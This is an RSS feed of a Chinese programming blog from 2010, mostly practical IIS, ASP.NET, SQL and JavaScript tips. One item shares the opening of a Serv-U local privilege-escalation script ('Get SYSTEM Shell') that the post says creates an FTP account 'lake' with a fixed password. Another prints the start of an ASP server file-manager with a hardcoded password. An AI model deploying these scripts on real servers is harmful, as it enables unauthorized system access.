<?xml version="1.0" encoding="utf-8"?><rss version="2.0">
<channel>
<title><![CDATA[●°灵感ofMУ.heaD﹋]]></title>
<link>http://blog.pfan.cn/sovf</link>
<description>编程爱好者博客</description>
<language>zh-cn</language>
			<item>
		<title><![CDATA[首个字母大写]]></title>
		<link>http://blog.pfan.cn/sovf/51922.html</link>
		<description><![CDATA[有时候我们需要首字母大写，不必每次都编辑文章了，用css实现更方便
.post-body p:first-letter {color:#444;display:inline;float:left;font:3.1em Georgia,arial;text-transform:uppercase;margin:0 0.12em 0 0;} 

有两个注意的! 
p:first-letter 
表示p标记下面第一个字母执行 
text-transform:uppercase;]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-10-22 11:22:00</pubDate>
		</item>
				<item>
		<title><![CDATA[ewebeditor编辑器IE8不弹窗终极解决办法]]></title>
		<link>http://blog.pfan.cn/sovf/51849.html</link>
		<description><![CDATA[&nbsp;
ewebeditor编辑器在ie浏览器 ，ie8 ，ie7 ，maxthon下有有错误的解决方法：
找到include文件夹下的editor.js文件
找到： 




if(element.YUSERONCLICK)eval(element.YUSERONCLICK + “anonymous()”);



 if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");

替换为：






try{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (element.YUSERONCLICK) eval(element.YUSERONCLICK + “anonymous()”);
&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp; catch(e){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (element.YUSERONCLICK) eval(element.YUSERONCLICK + “onclick(event)”);
&nbsp;&nbsp;&nbsp; }





&nbsp;try{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "anonymous()");
&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp; catch(e){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (element.YUSERONCLICK) eval(element.YUSERONCLICK + "onclick(event)");
&nbsp;&nbsp;&nbsp; }]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-10-08 16:24:00</pubDate>
		</item>
				<item>
		<title><![CDATA[XP下&nbsp;安装IIS6]]></title>
		<link>http://blog.pfan.cn/sovf/51789.html</link>
		<description><![CDATA[XP下安装IIS6.0的办法
首先在运行中输入“c:\windows\inf\sysoc.inf”，系统会自动使用记事本打开sysoc.inf这个文件。
在sysoc.inf中找到“[Components]”这一段，找到类似“iis=iis.dll,OcEntry,iis.inf,,7”的一行字,把这一行替换为“iis=iis2.dll,OcEntry,iis2.inf,,7”。之后保存并关闭。
在iis6.0安装包中找到iis.dl_和iis.in_两个文件，一起拷贝到硬盘目录（C:\WINDOWS\system）。打开开始菜单中的“命令提示符”，使用Expand命令解开iis.dl_和iis.in_，命令格式为：
在运行中输入“CMD”然后回车，打开命令行模式，在命令行下输入下列的两条命令，在每一行命令结束后回车：
Expand C:\WINDOWS\system\iis.dl_ c:\windows\system32\setup\iis2.dll
Expand C:\WINDOWS\system\iis.in_ c:\windows\inf\iis2.inf
这时，打开你的控制面板，并点击“添加删除程序”图标，之后点击“添加删除Windows组件”，你会发现，Internet信息服务（IIS）重新出现了！接下来就是循规蹈矩安装IIS。但需要提醒一点，在安装过程中若跳出定位相关文件时，请把目录指向iis6.0安装包所在目录。
最后还有一点注意的：
如 果你在安装过程中，系统需要你插入Window Whistler CD或者需要你提供exch_adsii***.dll这个文件，那是因为你按照默认的选项安装了IIS。要解决这个问题，只要在安装IIS的时候先点击 “详细信息”，然后取消对SMTP的选择（即，不要安装SMTP服务器），那么复制文件的时候就不会需要那两个文件了。
突破XP下IIS连接数10的限制
WindowsXP专业版操作系统中最多允许10个客户端的连接，在Windows2000服务器版或Windows2003服务器版操作系统中不存在这种连接限制问题，他们使用的IIS基本上一致。那就肯定有办法突破其设置。
到Microsoft网站看看，找到一个管理IIS的小工具MetaEdit，MetaEdit工作在WindowsNT4.0、 W]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-09-17 09:14:00</pubDate>
		</item>
				<item>
		<title><![CDATA[优秀的企业网站评分标准]]></title>
		<link>http://blog.pfan.cn/sovf/51734.html</link>
		<description><![CDATA[　　优秀企业网站评选标准总分100分，由内容标准、技术标准 、管理标准三部分组成。
　　（一）内容标准(10项，总分60分，每项6分。优秀6分，良好4分，一般2分）： 
　　1、企业概况：包括企业背景、发展历史、主要业绩及组织结构等，让用户 对公司的情况有一个概括的了解。
　　2、产品介绍：提供公司详细的产品和服务的目录（如果公司产品比较 多，可增加产品搜索功能。通用产品及可以定价的产品，可增加产品价格； 不便报价或对价格波动较大的产品，可增设询问栏），方便用户检索和查 询。 
　　3、荣誉证书、专家和用户意见：包括各种第三方评价、权威机构奖牌、 证书，专家、用户意见等，增强企业的信誉度。 
　　4、企业动态和媒体报道：最新的企业报道、发展动向，以展示企业 实力和形象。 
　　5、网上商务：为用户提供方便的电子商务方式。有条件的可增设 网上销售功能和相关服务。 
　　6、销售网络：详尽地描述企业在境内外设立的各类销售机构及联系方式。 
　　7、售后服务：包括质量保证条款、售后服务措施，以及各地售后 服务网点的联系方式。 
　　8、联系信息：包括公司的地址、电话、传真、邮政编码、Email地址等有关信息；有分支机构的企业，还应当有各地分支机构的联系 方式。 
　　9、辅助信息：如产品使用、保养、维修常识，产品的发展趋势， 以及本企业的合作伙伴、经销商或用户的一些相关新闻、趣事等。 
　　10、其他内容：内容充实健康，语言通顺，生动贴切；主题风 格突出，个性鲜明，有独特的行业氛围；信息归类科学，内容丰富 详实，色彩和谐自然，页面、图片编排整齐，视觉效果好，必要 时可适当配以有关视频和音频资料。 
　　（二）技术标准(2项，总分20分，每项10分。优秀10分，良好 6分，一般3分)： 
　　1、版面与链接。版面和栏目设计、布局、层次合理整洁；导 航明确，链接无误，首页与栏目的链接点通率不低于90%。 
　　2、运行质量与安全。网站运行稳定、安全，反应速度较快。 
　　（三）管理标准(4项，总分20分，每项5分。优秀5分，良好 3分，一般1分)： 
　　1、运营状况。网站运营正常、原创比例较高、内容更新及时、 客户反馈意见能够得到迅速妥善处理。 
　　2、影响力和知名度。网站访问量较大、同行业内有一定认 知程度、网站内容曾被]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-09-01 10:00:00</pubDate>
		</item>
				<item>
		<title><![CDATA[discuz权限控制]]></title>
		<link>http://blog.pfan.cn/sovf/51708.html</link>
		<description><![CDATA[首先，我们需要用到以下的组:
IIS_WPG 组（也称为 IIS 工作进程组，IIS Worker Process Group）
Guests组 （来宾组，在系统中拥有最少的权限）

以及以下的帐号:
Internet 来宾帐户 （匿名访问 Internet 信息服务的内置帐户）
启动 IIS 进程帐户 （用于启动进程外应用程序的 Internet 信息服务的内置帐户）

然后我们新建两个帐号，打开控制面版中的管理工具然后找到计算机管理。双击打开后看到下图：



双击用户后展开用户的列表，在用户列表内点鼠标右键选择新用户。如下图：



点击新用户后出现下图：



在用户名等位置输入您要使用的用户名，全名以及描述是做说明用的可以不填写。这里建议您的用户名用"_iusr"和"_iwam"来做后缀以区别开IIS来宾帐号，和IIS的进程启动帐号。一般来说iusr为IIS来宾，iwam为IIS进程启动帐号。当然您也可以按照您的习惯来做后缀区分两个帐号方便以后使用及管理。帐号的密码我建议您使用一个12位以上的数字字母和符号混合密码，或者是一个MD5两次后的密码。这样可以有效的防止密码被人暴力破解。帐号建立完成我们来更改一下帐号的所属组，首先更改discuz_iusr的组为Guests.如下图所示。



接着更改discuz_iwam的组为IIS_WPG.如下图所示。



警告：iusr和iwam账号一定要设置密码，且密码在12位以上。并且一定要为帐号调整所在的用户组。iusr帐号为guest组，iwam帐号为IIS_WPG组。

这样我们就有了访问网站的时用户连接服务器的帐号discuz_iusr，和服务器用来启动程序池运行.net程序的帐号discuz_iwam。下面更改IIS的配置：在控制面板→管理工具→Internet信息服务(IIS)管理器，打您的站点属性找到目录安全性选项卡，点身份验证和访问控制的编辑出现下图。用户名中输入我们刚刚新添加的来宾组的帐号discuz_iusr。



然后在应用程序池中新建一个应用程序池，命名为论坛虚拟目录的名称或者discuz。再在新建立的应用程序池上鼠标右键点属性，找到标识选项卡。选择配置后在帐号中输入刚刚设置的IIS进程启动帐号discuz_iwam。II]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-26 14:47:00</pubDate>
		</item>
				<item>
		<title><![CDATA[ASP站长助手源代码]]></title>
		<link>http://blog.pfan.cn/sovf/51704.html</link>
		<description><![CDATA[&nbsp;&lt;% 
&nbsp;&nbsp;Server.ScriptTimeout=50000 
&nbsp;&nbsp;Response.Buffer = True 
&nbsp;&nbsp;On Error Resume Next 
&nbsp;&nbsp;ApplicationName = "站长助手6 增强版" 
&nbsp;&nbsp;UserPass = "123456" '登陆密码 
&nbsp;&nbsp;URL = Request.ServerVariables("URL") 
&nbsp;&nbsp;ServerIP = Request.ServerVariables("LOCAL_ADDR") 
&nbsp;&nbsp;Action = Request("Action") 
&nbsp;&nbsp;RootPath = Server.MapPath(".") 
&nbsp;&nbsp;WWWRoot = Server.MapPath("/") 
&nbsp;&nbsp;FolderPath = Request("FolderPath") 
&nbsp;&nbsp;FName = Request("FName") 
&nbsp;&nbsp;BackUrl = "&lt;meta http-equiv='refresh' content='2;URL=?Action=ShowFile'&gt;" 
&nbsp;&nbsp; 
&nbsp;&nbsp;If Session("webadmin")&lt;&gt;UserPass Then 
&nbsp;&nbsp; If Request.Form("Pass")&lt;&gt;"" Then 
&nbsp;&nbsp; If Request.Form("Pass")=UserPass Then 
&nbsp;&nbsp; Session("webadmin")=UserPass 
&nbsp;&nbsp; Response.Redirect URL 
&nbsp;&nbsp; Else 
&nbsp;&nbsp; response.write"验证失败！" 
&nbsp;&nbsp; End If 
&nbsp;&nbsp; Else 
&nbs]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-23 21:51:00</pubDate>
		</item>
				<item>
		<title><![CDATA[分享serv-u利用脚本(asp&nbsp;aspx&nbsp;php)]]></title>
		<link>http://blog.pfan.cn/sovf/51703.html</link>
		<description><![CDATA[下面代码保留为servu.asp即可,应用了xml组件，树立一个lake 密码为admin123的可履行ftp帐号

&lt;title&gt;Serv-U 2 admin by lake2&lt;/title&gt;
&lt;style type="text/css"&gt;
body,td,th {color: #0000FF;font-family: Verdana, Arial, Helvetica, sans-serif;}
body {background-color: #ffffff;font-size:14px; }
a:link {color: #0000FF;text-decoration: none;}
a:visited {text-decoration: none;color: #0000FF;}
a:hover {text-decoration: none;color: #FF0000;}
a:active {text-decoration: none;color: #FF0000;}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
&lt;/style&gt;
&lt;p&gt;Serv-U Local Get SYSTEM Shell with ASP
&lt;/p&gt;
&lt;p&gt;Author: lake2, &lt;a http://lake2.0x54.org/" target=_blank&gt;http://lake2.0x54.org" target="_blank"&gt;http://lake2.0x54.org&lt;/a&gt;&lt;/p&gt;
&lt;form name="form1" method="post" action=""&gt;
&lt;p&gt;user:
&nbsp;&nbsp;&lt;input name="duser" type="text" class="TextBox" id="duser" value="LocalAdministrator"&gt;
&n]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-23 21:47:00</pubDate>
		</item>
				<item>
		<title><![CDATA[Request对象错误ASP&nbsp;0104:80004005不允许操作]]></title>
		<link>http://blog.pfan.cn/sovf/51696.html</link>
		<description><![CDATA[ASP的网站上传一直提示：Request对象错误ASP 0104:80004005不允许操作错误
刚开始以为是上传权限问题，后来发现又是老问题 ，没有记住。
ASP默认上传文件只有200K，
要修改这个值，首先设置勾选IIS管理器的“允许直接编辑配置数据库”，然后就是配置这个数据库，
地址为：C:/windows/system32/instrv/metabase.xml
修改：aspmaxrequestEntityallowed
重启:iis admin service]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-23 09:33:00</pubDate>
		</item>
				<item>
		<title><![CDATA[Bcdedit命令使用详解使用方法]]></title>
		<link>http://blog.pfan.cn/sovf/51677.html</link>
		<description><![CDATA[XP,WIN2003,VISTA,万indows,WIN2008多盘多系统多引导bcdedit的使用
windows出了新系统vista,2008想赏赏鲜学习学习~~但又习惯于用旧的XP,2003,然而~~
嘿嘿~~小弟的机器就装了多系统挺有意思的!!~~XP,WIN2003,VISTA,WIN2008~~牛吧?!

不过要正确的安装顺序是先底版本后高版本,先ghost版后安装版~~这样开机启动才不会出问题啦~~
可是小弟是多盘多系统~有安装版也有ghost版的有高的又有低的而且安装顺序也不规范!!就算机器硬件再如何如何的好当然也是弄到最后没一个系统是能进得去

晕死~~~正想铲掉从头再来,可是~~那个累啊~~大哥~~~因为不甘心前功尽弃,所以花了些时间去查google翻baidu~~于是~~~

哈!~~终于~~小弟研究出了不用从头再来的方法了~~嘿嘿~~目前小弟的4个系统都能正常启动!!
现在小弟就将查到的资料和自己研究出来的一套方法加以整理献给大家分享~~想玩多系统的发烧友就来试试吧!~~希望多多支持哦
~~

先用vista或WIN2008的安装盘自动修复Vista或WIN2008,让其能够启动,也就是说先让一个高版本的系统能够启动并进入到桌面~~
然后在vista或WIN2008系统再去修复其它的系统~~~
在vista或WIN2008系统下将XP,2003启动时要用的文件 boot.ini、bootfont.bin、IO.SYS、MSDOS.SYS、NTDETECT.COM、ntldr 拷贝到C:\根目录下
打开磁盘管理器,看看你的XP或2003是在第几个盘的第几个分区,然后去掉 boot.ini 文件的只读属性,用记事本编辑好它
multi(0)disk(0)rdisk(这括号里填硬盘号)partition(这括号里填分区号)\WINDOWS="windows xp或windows 2003"
(红色文字可以根据自己的情况修改,以下相同)
boot.ini 文件编辑好了要保存,改回只读属性.
然后打开 cmd 将以下的bcdedit命令根据你自己的情况修改好后按顺序一条条运行就可以了~~~
或者除了第3、4、步要手动完成,其它的都可以并成一]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-19 13:31:00</pubDate>
		</item>
				<item>
		<title><![CDATA[平台部署]]></title>
		<link>http://blog.pfan.cn/sovf/51573.html</link>
		<description><![CDATA[1. 更改web.config 
&lt;add key="DefaultConnectionString" value="Data Source=xxxxxxx;Initial Catalog=xxx;User Id=xx;Password=xxx;"/&gt;
&lt;add key="SYS_dbServer" value="xxxxx" /&gt;
&nbsp;&nbsp;&nbsp; &lt;add key="SYS_dbName" value="xxxx" /&gt;
&nbsp;&nbsp;&nbsp; &lt;add key="SYS_dbUser" value="xxx" /&gt;
&nbsp;&nbsp;&nbsp; &lt;add key="Sys_dbPwd" value="xxxxxxx" /&gt;
&lt;add key="DBserver" value="xxxxxxx"/&gt;
&nbsp;&nbsp;&nbsp; &lt;add key="Dbase" value="xxxxxx"/&gt;
&nbsp;&nbsp;&nbsp; &lt;add key="DbUserId" value="xxx"/&gt;
&nbsp;&nbsp;&nbsp; &lt;add key="DbUserPSW" value="xxxxxxx"/&gt;
更改数据库中的CompanyInfo 数据库地址
2.确保ASPSTATE服务启动
3.上传目录取消写入，运行权限
4.确定服务器时间正确]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-04 13:57:00</pubDate>
		</item>
				<item>
		<title><![CDATA[文件夹找不到安全选项]]></title>
		<link>http://blog.pfan.cn/sovf/51572.html</link>
		<description><![CDATA[控制面板--&gt;策略组--&gt;本地策略--&gt;网络访问:本地账户的共享和安全模式,改为经典,OK!

&nbsp;
========================================================
结果问题不是出在这，，，应该是先查看盘驱是否是NTFS系统]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-04 08:57:00</pubDate>
		</item>
				<item>
		<title><![CDATA[大智慧读书笔记]]></title>
		<link>http://blog.pfan.cn/sovf/51567.html</link>
		<description><![CDATA[沟通：是情绪的转移、信息的传递、感觉的互动
比尔盖茨：一个人鼓掌的速度，会影响他赚钱的速度
相随心声，口乃心之门户
稻胜
与时消息、与时偕行、与时俱进
鸡与猪合作生产鸡蛋火腿肠，鸡只要下蛋，主要奉献生命
不做准备的人，就是准备失败的人
在恰当的时间出现在恰当的位置
群体是不做决策的
好的领导者一呼百应
&nbsp;]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-08-01 17:52:00</pubDate>
		</item>
				<item>
		<title><![CDATA[jQuery.live的妙用]]></title>
		<link>http://blog.pfan.cn/sovf/51548.html</link>
		<description><![CDATA[今天做了个效果用AJAX，及时读取内容，用一个BuTTOn按钮来激活，
但是经过.NET的程序处理后，（可能是DATASET数据的重新绑定，改变了页面元素的信息）
因此button的click事件失效了。很纳闷，搜索了网上的资料后发现了live....
http://www.javaeye.com/problems/30238
&nbsp;
接着根据这篇文章的提示，查看了Live的使用，
jQuery 1.3中新增的方法。给所有当前以及将来会匹配的元素绑定一个事件处理函数（比如click事件）。也能绑定自定义事件。

目前支持 click, dblclick, mousedown, mouseup, mousemove, mouseover, mouseout, keydown, keypress, keyup。 
还不支持 blur, focus, mouseenter, mouseleave, change, submit 
&nbsp;
这样就解决了，对元素绑定了事件后，由于页面的变更而导致，事件失效的问题]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-30 13:08:00</pubDate>
		</item>
				<item>
		<title><![CDATA[MSSQL命令]]></title>
		<link>http://blog.pfan.cn/sovf/51547.html</link>
		<description><![CDATA[SQL分类：
DDL-数据定义语言(CREATE，ALTER，DROP，DECLARE)
DML-数据操纵语言(SELECT，DELETE，UPDATE，INSERT)
DCL-数据控制语言(GRANT，REVOKE，COMMIT，ROLLBACK)

首先,简要介绍基础语句：
1、说明：创建数据库
&nbsp;&nbsp;&nbsp;&nbsp;CREATE DATABASE database-name

2、说明：删除数据库
&nbsp;&nbsp;&nbsp;&nbsp;drop database dbname

3、说明：备份sql server
&nbsp;&nbsp;&nbsp;&nbsp;--- 创建 备份数据的 device
&nbsp;&nbsp;&nbsp;&nbsp;USE master
&nbsp;&nbsp;&nbsp;&nbsp;EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat'
&nbsp;&nbsp;&nbsp;&nbsp;--- 开始 备份
&nbsp;&nbsp;&nbsp;&nbsp;BACKUP DATABASE pubs TO testBack

4、说明：创建新表
&nbsp;&nbsp;&nbsp;&nbsp;create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)
&nbsp;&nbsp;&nbsp;&nbsp;根据已有的表创建新表：
&nbsp;&nbsp;&nbsp;&nbsp;A：create table tab_new like tab_old (使用旧表创建新表)
&nbsp;&nbsp;&nbsp;&nbsp;B：create table tab_new as select col1,col2… from tab_old definition only

5、说明：删除新表drop table tabname

6、说明：增加一个列
&nbsp;&nbsp;&nbsp;&nbsp;Alter table tabname add column col ty]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-30 11:24:00</pubDate>
		</item>
				<item>
		<title><![CDATA[异常详细信息:&nbsp;System.Web.HttpException:&nbsp;响应在此上下]]></title>
		<link>http://blog.pfan.cn/sovf/51531.html</link>
		<description><![CDATA[异常描述：
异常详细信息: System.Web.HttpException: 响应在此上下文中不可用
==============================================
导致错误：
在类中直接用了：Response.Write();
==============================================
解决方案：

只有你的页面是ASP.NET调用的，你的Page类里的Response对象才有意义。&nbsp; 
如果你需要在你自己的类里调用 Response，请用System.Web.HttpContext.Current.Response。
System.Web.HttpContext.Current.Response.Write();]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-26 10:37:00</pubDate>
		</item>
				<item>
		<title><![CDATA[IIS或Apache启用GZIP压缩优化网站]]></title>
		<link>http://blog.pfan.cn/sovf/51502.html</link>
		<description><![CDATA[　　先来了解一下GZIP，gzip是GNU zip的缩写，它是一个GNU自由软件的文件压缩程序，也经常用来表示gzip这种文件格式。软件的作者是Jean-loupGailly和Mark Adler。1992年10月31日第一次公开发布，版本号是0.1，目前的稳定版本是1.2.4。 
　　gzip可以极大的加速网站.有时压缩比率高到80%,近来测试了一下,最少都有40%以上,还是相当不错的.在Apache2之后的版本，模块名不叫gzip，而叫mod_deflate 
　　１、Apache启用gzip 
　　如果要开启gzip的话,一定要打开下面二个模块. 
　　LoadModule headers_module modules/mod_headers.so 
　　LoadModule deflate_module modules/mod_deflate.so 
　　设置压缩比率，取值范围在 1(最低) 到 9(最高)之间,不建议设置太高，虽然有很高的压缩率，但是占用更多的CPU资源. 
　　DeflateCompressionLevel 3 
　　AddOutputFilter DEFLATE html xml php js css 
　　&lt;Location /&gt; 
　　SetOutputFilter DEFLATE 
　　BrowserMatch ^Mozilla/4 gzip-only-text/html 
　　BrowserMatch ^Mozilla/4\.0[678] no-gzip 
　　BrowserMatch \bMSIE !no-gzip !gzip-only-text/html 
　　SetEnvIfNoCase Request_URI \\.(?:gif|jpe?g|png)$ no-gzip dont-vary 
　　SetEnvIfNoCase Request_URI .(?:exe|t?gz|zip|bz2|sit|rar)$ no-gzip dont-vary 
　　SetEnvIfNoCase Request_URI .(?:pdf|mov|avi|mp3|mp4|rm)$ no-gzip dont-vary 
　　Header append Vary User-Agent env=!don]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-18 22:53:00</pubDate>
		</item>
				<item>
		<title><![CDATA[Content-Type表单提交模式]]></title>
		<link>http://blog.pfan.cn/sovf/51487.html</link>
		<description><![CDATA[Content-Type,application/x-www-form-urlencoded
表单提交模式]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-13 22:20:00</pubDate>
		</item>
				<item>
		<title><![CDATA[new&nbsp;data().gettime()]]></title>
		<link>http://blog.pfan.cn/sovf/51486.html</link>
		<description><![CDATA[用于防止缓存，
&nbsp;
&nbsp;




Date getTime()、parse()方法




&nbsp;





 



 Date.getTime()





功能：返回距1970年1月1日之间的毫秒数。
语法：DateObject.getTime()
参数：无。
返回值：返回指定的日期和时间距1970年1月1日午夜（GMT 时间）之间的毫秒数。
getTime()方法通常用于时间计算。




 



 Date.parse()





功能：返回距1970年1月1日之间的毫秒数。
语法：Date.parse(时间串)
参数：一个用字符串表示的日期。
返回值：返回系统时间距1970年1月1日午夜（GMT 时间）之间的毫秒数。
注：该方法是Date对象的静态方法，不能由对象实例进行调用。








 实例1





获取当前时间的毫秒数。
&lt;script type="text/javascript"&gt;
var d1 = new Date();
document.write( d1.getTime() );
&lt;/script&gt; 
这段代码的输出效果：


1279030249640 








 实例2





获取指定时间的毫秒数。
&lt;script type="text/javascript"&gt;
document.write( Date.parse("Jul 19, 2008") );
&lt;/script&gt; 
这段代码的输出效果：


1216396800000 








 实例3





计算现在到2009年1月1日已经过去了多少天。
&lt;script type="text/javascript"&gt;
var d1 = new Date();
var d2 = new Date();
d2.setFullYear(2009,0,1);
var t = (d1.getTime()-d2.getTime())/(24*60*60*1]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-13 22:17:00</pubDate>
		</item>
				<item>
		<title><![CDATA[Ajax(判断浏览器创建XMLHttpRequest对象)]]></title>
		<link>http://blog.pfan.cn/sovf/51485.html</link>
		<description><![CDATA[&lt;script type="text/javascript"&gt;

function ajaxFunction()
{
var xmlHttp;

try
&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp; // Firefox, Opera 8.0+, Safari
&nbsp;&nbsp;&nbsp; xmlHttp=new XMLHttpRequest();
&nbsp;&nbsp;&nbsp; }
catch (e)
&nbsp;&nbsp;&nbsp; {

&nbsp; // Internet Explorer
&nbsp;&nbsp; try
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp; catch (e)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; catch (e)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("您的浏览器不支持AJAX！");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;
&nbsp;&nbsp;&n]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-13 22:13:00</pubDate>
		</item>
				<item>
		<title><![CDATA[用ASP.NET实现文件的保护性下载基础篇]]></title>
		<link>http://blog.pfan.cn/sovf/51483.html</link>
		<description><![CDATA[　　【IT168 技术】许多时候，我们需要在因特网上提供文件下载服务，但是又要防止未经授权的下载，这时该怎么办?本文将为读者详细介绍一种使用ASP.NET实现的HTTP处理程序的解决方案。
　　一、文件保护性下载的需求
　　如果我们需要在站点上出售数字形式的商品，如电子书、数字油画等，那么如何在供授权用户正常下载的同时又阻止非授权用户非法下载您的产品呢? 通过Forms身份验证，只能使这个问题得到部分解决。本文中，我将讲解如何防止某些用户访问站点上的某些文件;即使这些文件能够被这些用户直接浏览。
　　解决这个问题的方法有多种，但是有些方法本身就有问题。本文中，我们将考察软件供应厂商常用的一些技术，然后再介绍一种新的解决方案。需要注意的是，这里介绍的是针对ASP.net站点的。
　　二、常见的文件保护技术
　　我们中很多人都有网上购买软件的经验，所以可能领教过用于文件下载的常见保护措施。下面，我们对它们进行考察。
　　压缩文件口令保护
　　这种保护方法比较简单，它不是防止您下载文件，而是防止未经授权的人员从压缩文件中提取文件的内容，因为WinZip和许多其他压缩程序都提供了口令保护功能。然而，这种方法的缺点也很明显，如果您允许某人访问该文件内容，那就必须给他提供口令，之后，您却无法阻止这个人将口令传给其他人。实际上，如果您搜索互联网的话，会发现各种各样的口令遍地都是。采用这种保护措施的时候，只能指望授权用户是有道德的人，不会将口令外传。或者，将这种保护措施提供一个层次，为每个人生成一个不同口令的压缩文件，然后传给他。 当然，这需要一个文件存储解决方案，因为需要能控制发送给用户的文件。这导致第二种文件保护方法。
　　电子邮件
　　许多软件供应厂商并不会把文件张贴到它们的网站上，而是向购买该软件的用户发送一封电子邮件，告知下载详细信息，或者直接连同文件一块发过去。 电子邮件可以包含文件下载链接，并限定该链接的有效时间。有时候，软件供应商还可以将这种这种技术跟口令保护相结合。文件一旦交到用户手里，剩下的保护措施就靠软件许可和注册了。其他基于电子邮件的解决方案还有动态生成文件名方法。
　　临时文件名
　　一些软件供应厂商会使用GUID或者其它的秘密的命名技术生成一个难以猜测的文件名，同时还可以令文件只能在规定时间内下载。
　　三、技术分析
　　虽然这]]></description>
		<author><![CDATA[sovf]]></author>
		<pubDate>2010-07-13 17:19:00</pubDate>
		</item>
		</channel>
</rss>